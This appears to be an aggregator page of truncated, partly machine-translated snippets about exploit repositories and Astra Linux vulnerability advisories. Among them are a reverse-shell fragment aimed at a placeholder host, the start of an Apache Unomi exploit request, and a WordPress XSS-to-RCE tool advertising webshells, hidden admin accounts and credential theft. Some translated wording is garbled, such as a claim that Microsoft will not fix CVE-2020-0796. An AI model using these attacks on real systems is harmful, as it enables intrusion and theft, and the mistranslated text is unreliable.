cve-2020-0796

CVE-2020-0796 취약점의 실시간 식별 및 완화 CVE-2020-0796은 서버 메시지 블록 3.0SMBv3 네트워크 통신 프로토콜에 존재하는 원격 코드 실행 전 취약점으로, Microsoft는 2020년 3월 화요일의 일부로 이 문제를 해결하지 않을 것입니다. 사용법 python3 cve-2020-0796-scanner.py IP CVE-2020-0796은 어떤 장치에 영향을 미치나요? SMB 프로토콜에서의 패킷 요청 협상 취약점과 이를 완화하는 방법에 대한 자세한 내용은 제 게시물을 확인하세요:...

CVE-2021-22911-RocketChat

CVE-2021-22911 — Rocket.Chat 3.12.1 RCE 즉석 설명 Rocket.Chat 3.12.1의 사전 인증pre-auth NoSQL 인젝션 취약점을 악용하여 관리자의 TOTP 비밀키와 비밀번호 재설정 토큰을 유출하고, 관리자 계정을 탈취한 뒤 악성 웹훅 통합을 통해 RCE를 달성합니다. 영향받는 버전 Rocket.Chat & /dev/tcp/YOURIP/4444 0&1' 인자 플래그| 설명 ---|--- -t| 대상 Rocket.Chat URL -u| 등록된 낮은 권한low-priv 사용자 이름 -p| 등...

CVE-2020-13942

CVE-2020-13942 Apache Unomi 事前認証RCE CVE-2020-13942 エクスプロイト POST /context.json HTTP/1.1 Host: x.x.x.x User-Agent: Mozilla/5.0 Windows NT 10.0; WOW64 AppleWebKit/537.36 KHTML, like Gecko Chrome/72.0.3626.81 Safari/537.36 SE 2.X MetaSr 1.0 Content-Type: application/json Content-Length: 200...

Astra Linux – Vulnerability in libxml2

In libxml2 versions before 2.13.8 and 2.14.x before 2.14.2, out-of-bounds memory access can occur in the Python API Python bindings due to an incorrect return value. This issue occurs in the xmlPythonFileRead and xmlPythonFileReadRaw functions, caused by a discrepancy between bytes and characters...

Astra Linux – Vulnerability in glib2.0

The gio/gsocks4aproxy.c file in GNOME GLib before version 2.82.1 contains an off-by-one error, leading to a buffer overflow. This issue arises because the SOCKS4CONNMSGLEN field is not sufficient to include a trailing '\0' character...

Astra Linux – Vulnerability in Git

Git is a version control system. Prior to versions 2.45.1, 2.44.1, 2.43.4, 2.42.2, 2.41.1, 2.40.2, and 2.39.4, an attacker could create a local repository in such a way that, when cloned, arbitrary code would be executed during the cloning process. This issue has been fixed in versions 2.45.1,...

Astra Linux – Vulnerabilities in Linux, Linux-5.10, Linux-5.15, Linux-6.1

In the Linux kernel, the following vulnerabilities have been resolved: ila: Call nfunregisternethooks earlier. Syzbot discovered a use-after-free in ilanfinput 1. The issue arises from ilaxlatexitnet freeing the rhashtable, followed by the call to nfunregisternethooks. This should be done in the...

Astra Linux – Vulnerability in Linux 6.1

In the Linux kernel, the following vulnerabilities have been resolved: erofs: Properly handling NONHEAD !delta1 lclusters. The syzbot tool reported a warning in iomapiterdone: iomapfiemap+0x73b/0x9b0 fs/iomap/fiemap.c:80 ioctlfiemap fs/ioctl.c:220 inline Generally, NONHEAD lclusters will not have...

Astra Linux – Vulnerability in xrdp

xrdp is an open-source RDP server. Versions up to 0.10.5 have a heap-based buffer overflow in the EGFX graphics dynamic virtual channel implementation, due to insufficient validation of client-controlled size parameters. This allows for out-of-bounds writes via crafted PDUs. Pre-authentication...

Astra Linux – Vulnerability in sane-backends

A out-of-bounds read in SANE Backends before version 1.0.30 may allow a malicious device connected to the same local network as the victim to read important information, such as the ASLR offsets of the program, known as GHSL-2020-082...

Astra Linux – Vulnerability in Git

Git is a version control system. Before versions 2.45.1, 2.44.1, 2.43.4, 2.42.2, 2.41.1, 2.40.2, and 2.39.4, repositories containing submodules could be exploited through a bug in Git. This bug allowed a script to be written into the .git/ directory instead of the submodule’s worktree. This enabl...

Astra Linux – Vulnerability in freerdp3

FreeRDP is a free implementation of the Remote Desktop Protocol. Prior to version 3.24.2, an unvalidated authlength field read from the network triggered a WINPRASSERT failure in rtsreadauthverifiernochecks, causing any FreeRDP client connecting through a malicious RDP Gateway to crash with...

Astra Linux – Vulnerability in emacs

In Emacs versions before 29.3, Gnus treats inline MIME contents as trusted...

Astra Linux – Vulnerability in python-urllib3

The urllib3 library before version 1.24.2 in Python mishandles certain cases where the desired set of CA certificates differs from the CA certificates stored in the operating system’s store. As a result, SSL connections succeed in situations where a verification failure would be the correct...

Astra Linux – Vulnerability in Linux 6.1

In the Linux kernel, the following vulnerability has been resolved: ASoC: qcom: q6apm-lpass-dai: Fixed multiple graph openings. Since “prepare” can be called multiple times, this can lead to multiple graph openings for the playback path. This will result in memory leaks; therefore, this issue is...

Astra Linux – Vulnerability in OpenLDAP

A flaw was discovered in OpenLDAP before version 2.4.57, which led to an assertion failure in slapd’s saslAuthzTo validation process, resulting in a denial of service...

Resource Exhaustion

Apache Qpid ProtonJ2 is vulnerable to Resource Exhaustion. The vulnerability is due to improper handling of type size/count, where excessive memory allocation can occur and a pre-authentication attacker can trigger it to cause a denial of service...

Pre-render-data-spoofing-on-React-Router-framework-mode-CVE-2025-43865

React Router에 오신 것을 환영합니다! React Router를 사용하여 풀스택 React 애플리케이션을 구축하기 위한 현대적이고 프로덕션 준비가 된 템플릿입니다. 기능 🚀 서버 사이드 렌더링 ⚡️ 핫 모듈 리플레이스먼트 HMR 📦 에셋 번들링 및 최적화 🔄 데이터 로딩 및 변형 🔒 기본값으로 TypeScript 🎉 스타일링을 위한 TailwindCSS 📖 React Router 문서 시작하기 설치 의존성을 설치합니다: npm install 개발 HMR과 함께 개발 서버를 시작합니다: npm run dev 애플리케이션은...

XSS2Shell

XSS2Shell ULTIMATE v3.0 WordPress 事前認証 XSS → RCE チェーンエクスプロイト G0D150NE 開発 📌 機能 🔍 XSS と WordPress バージョンを自動検出 🎯 3 モード: Auto、XSS、Direct 📡 資格情報を取得するコールバックサーバー 🐚 複数の実行方法に対応した WebShell 🔄 永続化（cron ジョブ、隠し管理者、自己複製） 📁 ファイルのアップロード/ダウンロード 🖥️ ワンクリックリバースシェル 🛡️ ステルスモード（プラグイン一覧から隠蔽） 🔐 AES-256 暗号化バックドア 📦 インストール...

watchTowr-vs-BMC-Footprints-RCE-CVE-2025-71257-CVE-2025-71260

CVE-2025-71257 및 CVE-2025-71260 BMC FootPrints 사전 인증 원격 코드 실행 체인 BMC FootPrints 사전 인증 원격 코드 실행 체인 탐지 아티팩트 생성기 도구 설명 이 탐지 아티팩트 생성기는 BMC FootPrints 인스턴스가 CVE-2025-71257 및 CVE-2025-71260에 취약한지 확인합니다. 탐지 아티팩트 생성기는 두 가지 작업을 수행합니다: CVE-2025-71257을 사용한 인증 우회 - 이 확인은 매우 정확합니다. 성공할 경우, 무작위화된 .jsp 파일을 tomc...